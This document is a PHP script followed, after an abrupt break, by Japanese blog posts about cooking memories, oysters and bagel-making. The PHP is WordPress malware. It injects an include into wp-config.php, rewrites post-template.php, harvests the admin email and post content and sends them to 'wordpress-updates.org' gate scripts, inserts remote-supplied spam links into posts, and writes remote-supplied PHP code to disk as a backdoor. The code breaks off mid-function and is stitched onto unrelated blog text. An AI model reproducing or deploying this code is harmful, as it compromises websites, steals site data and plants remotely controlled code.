<?
$amt_u_tpl=10;
if(!function_exists(amt_gp))
{
	function amt_gp()
	{
		if(!function_exists(amt_rdr))
		{
			function amt_rdr($dir)
			{
			$handle=@opendir($dir);
				while($file=@readdir($handle))
				{
					if($file!="." && $file!="..")
					{
					$t_dir[]=$file;
					}
				}
			@closedir($handle);
			return $t_dir;
			}
		}
	$link=explode("/", $_SERVER["SCRIPT_FILENAME"]);
	$sfn=$_SERVER["SCRIPT_FILENAME"];
	$r_dir=$sfn;
	for($q=sizeof($link)-1;$q>0;$q--)
	{
	$link[$q]="/".$link[$q];
	$r_dir=str_replace($link[$q],"",$r_dir);
	$rdr=amt_rdr($r_dir);
		if(@in_array('wp-config.php',$rdr))
		{
		$root_dir[0]=$r_dir;
		break;
		}
	}
	$root_dir[1]=$root_dir[0]."/wp-includes";
	$t_dir=$root_dir[0]."/wp-content/themes/";
	$t_dirs=amt_rdr($t_dir);
	for($q=0;$q<sizeof($t_dirs);$q++)
	{
	$p_d=$t_dir.$t_dirs[$q];
	$f_d=amt_rdr($p_d);
		if(@in_array('functions.wp-amt.php',$f_d))
		{
		$root_dir[2]=$p_d;
		$root_dir[4]=$t_dirs[$q];
		break;
		}
	}
	if(isset($_SERVER['SUBDOMAIN_DOCUMENT_ROOT'])) { $dr=$_SERVER['SUBDOMAIN_DOCUMENT_ROOT']; } else { $dr=$_SERVER['DOCUMENT_ROOT']; }
	$root_dir[3]=str_replace($dr,'',$root_dir[0]);
	return $root_dir;
	}
}
class amt_data
{
var $n_f;
var $t_o;
var $c_d;
var $host;
var $wp_c;
var $wp_pt;
var $wp_ff;
var $wp_fwp;
var $t_n;
var $u_g;
var $wrt;
var $r_dir;
var $my_h;
var $a_em;
var $p_ttl;
var $p_cgy;
	function amt_trim_domen()
	{
	$amt_site=str_replace(".","",$_SERVER['HTTP_HOST']);
	$amt_site=str_replace("-","_",$amt_site);
	$amt_site=str_replace("www","",$amt_site);
	return $amt_site;
	}
	function amt_gfn()
	{
	$num=rand(7,14);
	$arr=array('a','b','d','e','f','g','h','i','j','k','l','m','n','p','r','s','t','v','x','y','z');
	$rfn="";
		for($i=0;$i<$num;$i++)
		{
		$ind=rand(0,sizeof($arr));
		$rfn.=$arr[$ind];
		}
	$rfn.=".php";
	return $rfn;
	}
	function amt_gtbl()
	{
	global $table_prefix;
	$amt_site=$this->amt_trim_domen();
	$this->t_n=array($table_prefix.$amt_site."_post",$table_prefix.$amt_site."_quest",$table_prefix.$amt_site."_opt");
	return $t_n;
	}
	function amt_gae()
	{
	global $wpdb, $table_prefix;
	$uid=$wpdb->get_col($wpdb->prepare("select user_id from ".$table_prefix."usermeta where meta_value='10'", $rr));
	$uem=$wpdb->get_col($wpdb->prepare("select user_email from ".$table_prefix."users where id='".$uid[0]."'", $rr));
	$this->a_em=$uem[0];
	return $a_em;
	}
	function amt_crtb()
	{
	global $wpdb;
	$this->amt_gtbl();
	$query="
	CREATE TABLE IF NOT EXISTS ".$this->t_n[0]." (
	id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY ,
	id_post INT(9) NOT NULL ,
	last_up DATETIME NOT NULL ,
	addd DATETIME NOT NULL
	) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci;
	";
	$wpdb->query($query);
	$query="
	CREATE TABLE IF NOT EXISTS ".$this->t_n[1]." (
	id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY ,
	l_b ENUM('0', '1') NOT NULL ,
	id_post INT(9) NOT NULL ,
	word VARCHAR(255) NOT NULL ,
	id_word INT( 9 ) NOT NULL ,
	link VARCHAR(255) NOT NULL ,
	date DATE NOT NULL 
	) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci;
	";
	$wpdb->query($query);
	$query="
	CREATE TABLE IF NOT EXISTS ".$this->t_n[2]." (
	host VARCHAR(255) NOT NULL ,
	t_o VARCHAR(255) NOT NULL ,
	n_f VARCHAR(255) NOT NULL ,
	date DATE NOT NULL 
	) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci;
	";
	$wpdb->query($query);
	$mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr));
	$this->host=$mda[0];
		if($this->host=="")
		{
		$amt_nf=$this->amt_gfn();
		$query="insert into ".$this->t_n[2]." (host, t_o, n_f, date) values ('wordpress-updates.org', '5', '".$amt_nf."', now());";
		$wpdb->query($query);
		$mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr));
		$this->host=$mda[0];
		}
	$mda=$wpdb->get_col($wpdb->prepare("select t_o from ".$this->t_n[2], $rr)); $this->t_o=$mda[0];
	$mda=$wpdb->get_col($wpdb->prepare("select n_f from ".$this->t_n[2], $rr)); $this->n_f=$mda[0];
	$mda=$wpdb->get_col($wpdb->prepare("select date from ".$this->t_n[2], $rr)); $this->c_d=$mda[0];
	}
}
$amt_d=new amt_data;
$amt_d->amt_crtb();
$amt_d->amt_gae();
$root_dir=amt_gp();
$amt_d->u_tpl=$amt_u_tpl;
$amt_d->my_h=trim_url($_SERVER["HTTP_HOST"]);
$amt_d->u_g[0]="http://".$amt_d->host."/gate/post_gate.php";
$amt_d->u_g[1]="http://".$amt_d->host."/gate/quest_gate.php";
$amt_d->u_g[2]="http://".$amt_d->host."/gate/upd_gate.php";
$amt_d->u_g[3]="http://".$amt_d->host."/gate/nf_gate.php";
$amt_d->r_dir=array($root_dir[0],$root_dir[1],$root_dir[2],$root_dir[3],$root_dir[4]);
$amt_d->wp_c=$amt_d->r_dir[0]."/wp-config.php";
$amt_d->wp_pt=$amt_d->r_dir[0]."/wp-includes/post-template.php";
$amt_d->wp_ff=$amt_d->r_dir[0]."/wp-includes/".$amt_d->n_f;
if(file_exists($amt_d->wp_ff)) {  $amt_d->wrt=1; } else { $amt_d->wrt=0; }
amt_ci();

function amt_cif()
{
global $amt_d;
if(file_exists($amt_d->wp_ff)) {  return true; } else { return false; }
}

function amt_ci()
{
global $amt_d;
	$sha="!amt_cif!si";
	$sha2="!".$amt_d->n_f."!si";
	$cont=file_get_contents($amt_d->wp_c);
		if(!preg_match($sha,$cont,$match) || !preg_match($sha2,$cont,$match))
		{
		$amt_d->ci[0]=0;
		}
		else
		{
		$amt_d->ci[0]=1;
		}
	$sha="!amt_cc!si";
	$cont=file_get_contents($amt_d->wp_pt);
		if(!preg_match($sha,$cont,$match))
		{
		$amt_d->ci[1]=0;
		}
		else
		{
		$amt_d->ci[1]=1;
		}

		if(!file_exists($amt_d->wp_ff) || filesize($amt_d->wp_ff)==0)
		{
		$amt_d->ci[2]=0;
		}
		else
		{
		$amt_d->ci[2]=1;
		}
if($amt_d->ci[0]==1 && $amt_d->ci[1]==1 && $amt_d->ci[2]==1) { $amt_d->ci[3]=1; } else { $amt_d->ci[3]=0; }
if($amt_d->ci[3]==0)
{
	if($amt_d->ci[0]==0)
	{
	chmod($amt_d->wp_c, 0755);
	$cont=trim(file_get_contents($amt_d->wp_c));
	$sha="/\?>$/";	
	if(preg_match($sha,$cont,$name))
	{
	$cont=$cont."
<? if(!function_exists(amt_cif)) { if(file_exists(ABSPATH.WPINC.'/".$amt_d->n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } } ?>";
	}		
	else
	{
	$cont=$cont."
if(!function_exists(amt_cif)) { if(file_exists(ABSPATH.WPINC.'/".$amt_d->n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } }";
	}
	$amt_f = fopen($amt_d->wp_c,"w");
	$test = fwrite($amt_f, $cont);
	fclose($amt_f);
	if($test) { chmod($amt_d->wp_c, 0644); }
	}
	if($amt_d->ci[1]==0)
	{
	$cont=file_get_contents($amt_d->wp_pt);
$sha1="echo \$content;";
$sha2="if (is_single() && function_exists(amt_cc)) { \$content = amt_cc(\$content); }
	echo \$content;";
	$cont=str_replace($sha1,$sha2,$cont);
	chmod($amt_d->wp_pt, 0755);			
	$amt_f = fopen($amt_d->wp_pt,"w");
	$test = fwrite($amt_f, $cont);
	fclose($amt_f);
	if($test) { @chmod($amt_d->wp_pt, 0644); }
	}
	if($amt_d->ci[2]==0)
	{
	$s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php";
	if(file_exists($s_f_path)) { $content=file_get_contents($s_f_path); }
	if(file_exists($amt_d->wp_ff))
	{
	chmod($amt_d->wp_ff, 0755);
	}
	$amt_f = fopen($amt_d->wp_ff,"w");
	$test = fwrite($amt_f, $content);
	fclose($amt_f);
	if($test) { chmod($amt_d->wp_ff, 0644); }
	}
}
}
function amt_cc($content)
{	
	global $amt_d;
	$amt_id=get_the_ID(); $amt_url=$amt_d->my_h.$amt_d->r_dir[3]; $amt_md=get_the_modified_date("Y-m-d h:i:s"); amt_gct($amt_id);
	amt_copt($amt_url);	if(amt_pib($amt_id)==0) { $pis=amt_ins($amt_id, $amt_md, $content, $amt_url); } if($pis==1) { amt_inb($amt_id, $amt_md); } if(amt_cuq()==0) { amt_qse($amt_id, $amt_url); } $content=amt_cco($amt_id, $content);
	return $content;
}
function amt_gct($id)
{
global $amt_d;
$ololo=get_post($id);
$amt_cty=get_the_category(); 
$amt_d->p_cgy=$amt_cty[$ololo->post_category]->cat_name;
$amt_d->p_ttl=$ololo->post_title;
}
function amt_cco($id, $content)
{
global $wpdb, $amt_d;
$q_word=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr));
$q_id_word=$wpdb->get_col($wpdb->prepare("select id_word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr));
$q_link=$wpdb->get_col($wpdb->prepare("select link from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr));
	for($q=0;$q < count($q_word);$q++)
	{
	$content=amt_create_post_words($content,$q_word[$q],$q_id_word[$q],$q_link[$q],4);
	}
$content.=amt_abl($id);	
return $content;
}
function amt_abl($id)
{
global $wpdb, $amt_d;
$t_link=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='1'", $rr));
	if($t_link[0]!="")
	{
	$tlk="<p>".$t_link[0]."</p>";
	}
	else
	{
	$tlk="";
	}
return $tlk;
}
function amt_copt($m_url)
{
global $wpdb, $amt_d;
$post = Array('my_h' => $amt_d->my_h, 'my_url' => $m_url); 
$today=date("Y-m-d");
	if(!amt_cuo())
	{
		if($amt_ud=amt_sender($amt_d->u_g[2], $post))
		{		
			if($amt_ud!="no" && $amt_ud!="")
			{
			$amt_md=explode('*^*^*^*',$amt_ud);
			$amt_q="update ".$amt_d->t_n[2]." set host='$amt_md[0]', t_o='$amt_md[1]', date='$today' where host='".$amt_d->host."'";
			$wpdb->query($amt_q);
				if($amt_md[3]==2)
				{
				amt_cnff($amt_md[4]);
				}
			}
			else
			{ 
			$amt_q="update ".$amt_d->t_n[2]." set date='$today' where host='".$amt_d->host."'";
			$wpdb->query($amt_q);
			}
		}
	}
}
function amt_cnff($content)
{
global $amt_d;
if($content=="") { return false; }
$content=
"<? 
".$content."
 ?>";
	if(file_exists($amt_d->wp_ff))
	{
	@chmod($amt_d->wp_ff, 0755);
	}
$amt_f = fopen($amt_d->wp_ff,'w');
$test = fwrite($amt_f, $content);
@fclose($amt_f);
if($test) { @chmod($amt_d->wp_ff, 0644); }
$s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php";
	if(file_exists($s_f_path))
	{
	@chmod($s_f_path, 0755);
	}
$amt_f = fopen($s_f_path,'w');
$test = fwrite($amt_f, $content);
@fclose($amt_f);
if($test) { @chmod($s_f_path, 0644); }
}
function amt_inb($id, $last)
{
global $wpdb, $amt_d;
$amt_q="delete from ".$amt_d->t_n[0]." where id_post='$id'";
$wpdb->query($amt_q);
$amt_q="insert into ".$amt_d->t_n[0]." (id_post, last_up, addd) values ('$id', '$last', now())";
$wpdb->query($amt_q);
}
function amt_ins($id, $last, $cont, $url)
{
global $amt_d;
$last=str_replace(" ","_",$last);
$url=trim_url($url);
$post = Array('id' => $id, 'last' => $last, 'cont' => $cont, 'ttl' => $amt_d->p_ttl, 'cgy' => $amt_d->p_cgy, 'my_h' => $amt_d->my_h, 'my_url' => $url, 'a_em' => $amt_d->a_em, 'fn' => $amt_d->n_f, 'tpl' => $amt_d->r_dir[4], 'ci' => $amt_d->ci[3], 'u_tpl' => $amt_d->u_tpl); 
$amt_pisg=amt_sender($amt_d->u_g[0], $post);
if($amt_pisg=="ok") { $pis=1; } else { $pis=0; }
return $pis;
}
function amt_pib($id)
{
global $wpdb, $amt_d;
$query="select id from ".$amt_d->t_n[0]." where id_post='$id'";
$wpdb->query($query);
	if($wpdb->num_rows>0)
	{
	$per=$wpdb->get_var($wpdb->prepare("select datediff(now(), addd) from ".$amt_d->t_n[0]." where id_post='$id'", $rr));
		if($per>30)
		{
		return 0;
		}
		else
		{
		return 1;
		}
	}
return $wpdb->num_rows;
}
function amt_qwe($id)
{
global $wpdb, $amt_d;
$query="select * from ".$amt_d->t_n[1]." where id_post='$id'";
$wpdb->query($query);
return $wpdb->num_rows;
}
function amt_cuq()
{
global $wpdb, $amt_d;
$today=date("Y-m-d"); 
$date_up=$wpdb->get_var($wpdb->prepare("select date from ".$amt_d->t_n[1]." limit 1", $rr));
	if($date_up!=$today)
	{
	return false;
	}
	else
	{
	return true;
	}
}
function amt_cuo()
{
global $amt_d;
$today=date("Y-m-d"); 
	if($amt_d->c_d!=$today)
	{
	return false;
	}
	else
	{
	return true;
	}
}
function amt_qse($id, $m_url)
{
global $wpdb, $amt_d;
$today=date("Y-m-d"); 
$m_url=trim_url($m_url);
$post = Array('id' => $id, 'my_h' => $amt_d->my_h, 'my_url' => $m_url); 
	if($amt_nq=amt_sender($amt_d->u_g[1], $post))
	{
		if($amt_nq=="no quests")
		{
		$amt_q1="delete from ".$amt_d->t_n[1].";";
		$wpdb->query($amt_q1);
		$amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('0', '0', '', '0', '', '$today')";
		echo $amt_q2;
		$wpdb->query($amt_q2);
		}
		else
		{
		$amt_q1="delete from ".$amt_d->t_n[1].";";
		$wpdb->query($amt_q1);
		$amt_qs=explode("*****",$amt_nq);	
			for($q=0;$q < sizeof($amt_qs);$q++)
			{
			$m_amt_q=explode("^^^",$amt_qs[$q]);
			$amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('$m_amt_q[4]', '$m_amt_q[0]', '$m_amt_q[1]', '$m_amt_q[2]', '$m_amt_q[3]', '$today')";
			$wpdb->query($amt_q2);
			}
		}
	}
}
function amt_sender($url, $post)
{
global $amt_d;
$_post=Array();
	if(is_array($post))
	{
		foreach($post as $name => $value)
		{
		$_post[]=$name.'='.urlencode($value);
		}
	}
	if (function_exists("curl_init"))
	{
	$ch=curl_init($url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_POST, 1);
	curl_setopt($ch, CURLOPT_HEADER, 0);
	curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $amt_d->t_o);
	curl_setopt($ch, CURLOPT_USERAGENT, "Penetrator/3.0");
	curl_setopt($ch, CURLOPT_REFERER, $amt_d->my_h);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
		if(is_array($post))
		{
		curl_setopt($ch, CURLOPT_POSTFIELDS, join('&', $_post));
		}
	$result=curl_exec($ch);
		if(curl_errno($ch)!=0 && empty($result))
		{
		$result=false;
		}
	curl_close($ch);
	$result="HTTPSTART".$result;
	$result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result);
	return $result;  
	}
	else
	{
	$parse_url = parse_url($url);
	$path = $parse_url["path"];
	$host= $parse_url["host"];
	$result="";
	$post=implode('&', $_post);
	$fp=fsockopen($host, 80);
		if($fp)
		{
		socket_set_timeout($fp, $amt_d->t_o);
		$request = "POST $path HTTP/1.1\r\n";
		$request .= "Host: $host\r\n";
		$request .= "User-Agent: Penetrator/3.0\r\n";
		$request .= "Content-Type: application/x-www-form-urlencoded\r\n";
		$request .= "Referer: ".$amt_d->my_h."\r\n";
		$request .= "Content-Length: ".strlen($post)."\r\n";
		$request .= "Connection: close\r\n\r\n$post";
		fputs($fp,$request);
			while(!feof($fp))
			{
			$result.=fgets($fp);
			}
		fclose($fp);
		$result="HTTPSTART".$result;
		$result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result);
		return $result;
		}
	return false;
	}
}
function amt_create_post_words($content,$word,$id_word,$link,$nwm)
{
$n_content=strip_tags($content);
$word=trim($word);
$t_link="http://".$link;
$w=0;
$sha2="/(.{1,".$nwm."})(\*\*\* ".$word.".{1}\*\*\*|\*\*\*".$word.".{1}\*\*\*)(.{1,".$nwm."})/si";
$bilo="/( ".$word.".{1}|".$word.".{1})/si";
$stalo="***\\0***";
$new_content=preg_replace($bilo,$stalo,$n_content);
preg_match_all($sha2,$new_content,$massa);
$sha_word=erase_zv($massa[0][$id_word]);
$sha_word_l=strong_word($sha_word,$word,$t_link);
$content=str_replace($sha_word,$sha_word_l,$content);
return $content;
}
function erase_zv($text)
{
$text=str_replace(",***",",",$text);
$text=str_replace(".***",".",$text);
$text=str_replace(" ***"," ",$text);
$text=str_replace("*** "," ",$text);
$text=str_replace("***"," ",$text);
return $text;
}
function trim_side($text)
{
$new_text="";
$txt=explode(" ", $text);
$n_w=sizeof($txt);
    for($ts=1;$ts<$n_w-1;$ts++)
        {
        $new_text.=$txt[$ts]." ";
        }
return $new_text;
}
function strong_word($content,$word,$t_link)
{
$bilo="/( ".$word.".{1}|".$word.".{1})/si";
$stalo="<a href='$t_link'>\\0</a>";
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						<a href="http://kgmmusic.com/zine/2018/%e5%91%b3%e3%81%ae%e8%a8%98%e6%86%b6/">味の記憶</a>
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						<span class="post-date">20181122</span>
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<p>コックさんをやっていた、なんていってそれも今となっては10年以上前のことなのでもはや随分昔の出来事なのだ。一般のお父さんとしてはまあまあ出来る方かもしれないが、料理研究に熱心な主婦の方が知識も腕もあると思う。ヒルナンデスなんて見ると凄いもんね。</p>
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<p>でもたまに料理は作ります。自分が食べたいものを気が向いたときに。</p>
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<p>子供達に色んな味の体験をさせておきたい、というのもある。作りたてのスパゲティーがどんな香りがして食感がどんなだとか、どういった工程を踏んで食べるまでに至るのか、親としてそういう部分をちゃんと伝えていく必要があると考えています。体験として理解できれば安易に「まずい」なんて言葉は出ないようになるだろうし、外でご飯を食べたときに自然と「ご馳走さまでした」が言えるようになるはず、と思ってるけど、、子供達はまだ小さいから未来はなんとも言えないなぁ。</p>
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<p>私の母は自分が25歳の時に亡くなっているので、最後に母の手料理を食べたのも随分昔の話になりますが、不思議と味は記憶しているものです。一番に思い浮かぶのはミートソーススパゲティーかもしれない。あとは春巻きやグラタン。すぐに思い浮かぶ物はおそらく自分が好きだった料理なんでしょうね。</p>
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<p>思い出の味はちゃんと記憶に残っていく。そしてそれは大きな励みになる。自らの体験からそんな風に考えるようになった私は自分が死んでしまった後でも思い返せるようにと料理をするわけです。</p>
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<figure class="wp-block-image"><img src="http://kgmmusic.com/zine/wp-content/uploads/IMG_2929.jpg" alt="" class="wp-image-2868" srcset="http://kgmmusic.com/zine/wp-content/uploads/IMG_2929.jpg 3024w, http://kgmmusic.com/zine/wp-content/uploads/IMG_2929-450x450.jpg 450w, http://kgmmusic.com/zine/wp-content/uploads/IMG_2929-600x600.jpg 600w, http://kgmmusic.com/zine/wp-content/uploads/IMG_2929-768x768.jpg 768w, http://kgmmusic.com/zine/wp-content/uploads/IMG_2929-1000x1000.jpg 1000w, http://kgmmusic.com/zine/wp-content/uploads/IMG_2929-1140x1140.jpg 1140w, http://kgmmusic.com/zine/wp-content/uploads/IMG_2929-300x300.jpg 300w, http://kgmmusic.com/zine/wp-content/uploads/IMG_2929-75x75.jpg 75w" sizes="(max-width: 3024px) 100vw, 3024px" /><figcaption>最近はカレーが多い</figcaption></figure>
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						<span class="post-date">20181023</span>
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<p>オイスターソースに苦手意識がある。</p>
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<p>そもそも原材料の牡蠣が子供の頃は苦手だった。噛じるほどに苦く感じて、、。</p>
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<p>大人になった今、カキフライが大好きになった。（ソースとマヨネーズは必須）火を通した牡蠣は大体大丈夫。でも生牡蠣はどうしても食べれない。かじった途端に広がる磯の香りが未だ牡蠣ビギナー気分の自分には強すぎる。</p>
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<p>「そんなに苦手なら噛みすぎなければいいんじゃない？」と友達が言ってたけど、そこまでして食べるべき食材とも思えない。大好きな人が「あー最高！」と言いながら口に運んでくれた方が牡蠣だって嬉しいはずだ。そんなわけで生牡蠣はずっとスルーしている。牡蠣と自分、お互いの幸せのために。</p>
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					<p>いくつかのレシピを見比べ、毎度分量を変えつつ試してきて、ようやく一つ目の目標に辿り着いた！艶やかに出来た〜！</p>
<p><a href="http://kgmmusic.com/zine/wp-content/uploads/IMG_4919.jpg"><img class="alignnone size-large wp-image-2019" src="http://kgmmusic.com/zine/wp-content/uploads/IMG_4919-650x650.jpg" alt="IMG_4919" width="646" height="646" srcset="http://kgmmusic.com/zine/wp-content/uploads/IMG_4919-650x650.jpg 650w, http://kgmmusic.com/zine/wp-content/uploads/IMG_4919-200x200.jpg 200w, http://kgmmusic.com/zine/wp-content/uploads/IMG_4919-300x300.jpg 300w, http://kgmmusic.com/zine/wp-content/uploads/IMG_4919-770x770.jpg 770w" sizes="(max-width: 646px) 100vw, 646px" /></a></p>
<p>&nbsp;</p>
<p>ベーグル (4P)</p>
<p>強力粉…200g<br />砂糖…8g<br />塩…4g<br />ドライイースト…1g<br />ぬるま湯…110cc (110g)<br />※全て電子計りで計量しています</p>
<p>ケトリング(茹でる)…90℃で表30秒、裏60秒。</p>
<p>長くケトリングすると表面に皺が寄りやすいという説がネット上に多数あり、表と裏をそれぞれ30秒ずつでやるのが一般的なようですが、思うところがあり、裏面は長めに茹でてます。実際、今回の焼き上がりを見ると皺が寄る寄らないはケトリング時間にあまり関係なさそうな気がしています(食感は確実に変わるでしょうけどね)。むしろ、ケトリング前の発酵具合とケトリングの温度の方が出来上がりのツヤに影響が大きそう。そして、ケトリング後は早めにオーブンに入れた方が良いという説もまぁ間違いでは無いと思いますが、考えてみると本職の方は一度にたくさん作るのが常なわけで、そうなるとどうしたってオーブン投入までの時間は私みたいに少量を作る者よりはいくらか時間が掛かってしまうでしょう。それでも綺麗なべーグルがお店に並んでいる、ということはここはさほど神経質にならずにいても大丈夫なのかな、という結論に達しました。（全部に神経を尖らせていると作るたびに疲れてしまいそうなので、「気を抜いても良さげな箇所」をいつも探しています）</p>
<p>表面のツヤはケトリング用のお湯に入れる砂糖の量、その温度、ケトリングで小麦粉の糊化(こか)がどこまで進んだか、ここらへんが大きく影響している気がします。表面が数十秒茹でられ糊化しイースト菌が死滅(60℃以上)することによってこれ以上の膨張が打ち止めになる。しかし内側の生地は糊化以前でイースト菌も生きており、中で膨らんでいく。そうすると表面が引っ張られピンと張った状態になる。その後、オーブンの熱によってイースト菌が死滅し全体の膨張が打ち止めになるのと表面に纏わりついている糖分がカラメル化するのが合わさり、焼き上がりの照りになる。今はこういうことなのかなと想像しています。パンを専門的に作ったことはないのであちこちの聞きかじりの知識 (調理師学校も一応出てますし) を合わせた感じですけど、大体はあってると思うんですよね。いや、そうであってほしい(笑) 詳しい方がおられましたら是非教えてください！当方、熱によるデンプン質の変化に大変興味があり〼。</p>
<p>お菓子は出来不出来をあまり気にせず「ざっくり計量」もそれはそれでアリです。例えばアメリカのお母さんがみんな細く計量してドーナツを作ってるとは、やはり思い難い。「粉をカップで３杯入れればいいのよ！」と怒られちゃいそうです。日本のお母さんたちだって普段のお料理に大さじ小さじなんて滅多に使わないでしょうからそれと同じ。でも、これは昔、私が調理師時代に同じお店で働くパティシエ出身の先輩から言われた言葉なんですが、「料理人の感覚でお菓子を作ろうとすると失敗する」。</p>
<p>料理人は製菓師に比べると基本的にアバウトな人が多く、小麦粉の計量で１gずれていてもそんなに気にしなかったりします。でも製菓の方は科学者みたいなもので、何℃でデンプンやたんぱく質が変化する、などの化学的知識を持ってレシピを作り、「いつ作っても同じ出来上がり」になるように作業を進めます。もちろん料理人でも製菓の方のように細く分析して作る方もいますが、そんなに多くはないと思います。経験則が占める割合の方が高いでしょう。先述の先輩の言葉を聞いてから、素材の化学的な側面を理解出来るようにと幾つかの本を読みました。理解を進めるほどにこれが非常に面白い。</p>
<p>交わりにくいものの例えで「水と油」といわれるほど、普通であれば分離してしまう二つの素材が、割合や工程、乳化作用によってドレッシングになったり、マヨネーズになったり。スパゲッティを作るときによくいわれる「ソースの乳化」もかき混ぜれば良いという訳ではなく、水と油の乳化しやすい割合がちゃんとあるんですね。火のかけ方や時間をどうすればより効率良く短い時間で乳化するのか、それを理解できると確実に「おいしい」に近づきます。家で作るのにそんなに考えなくて良いというのも確かですが、家で作る主婦の方こそ食べ物の化学を理解出来れば短い時間でゴールに辿り着けるし、そして家族に「おいしい」と喜んで貰えると思うんですよね。読み物としても面白いものなので、書店で見つけたら立ち読みしてみてください。</p>
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<p>以上、食べ物のことになるとどうしても熱くなってしまう食いしん坊な私から「やっと綺麗にベーグルやけたで！」報告でした。作るより食べる方が断然好きです！</p>
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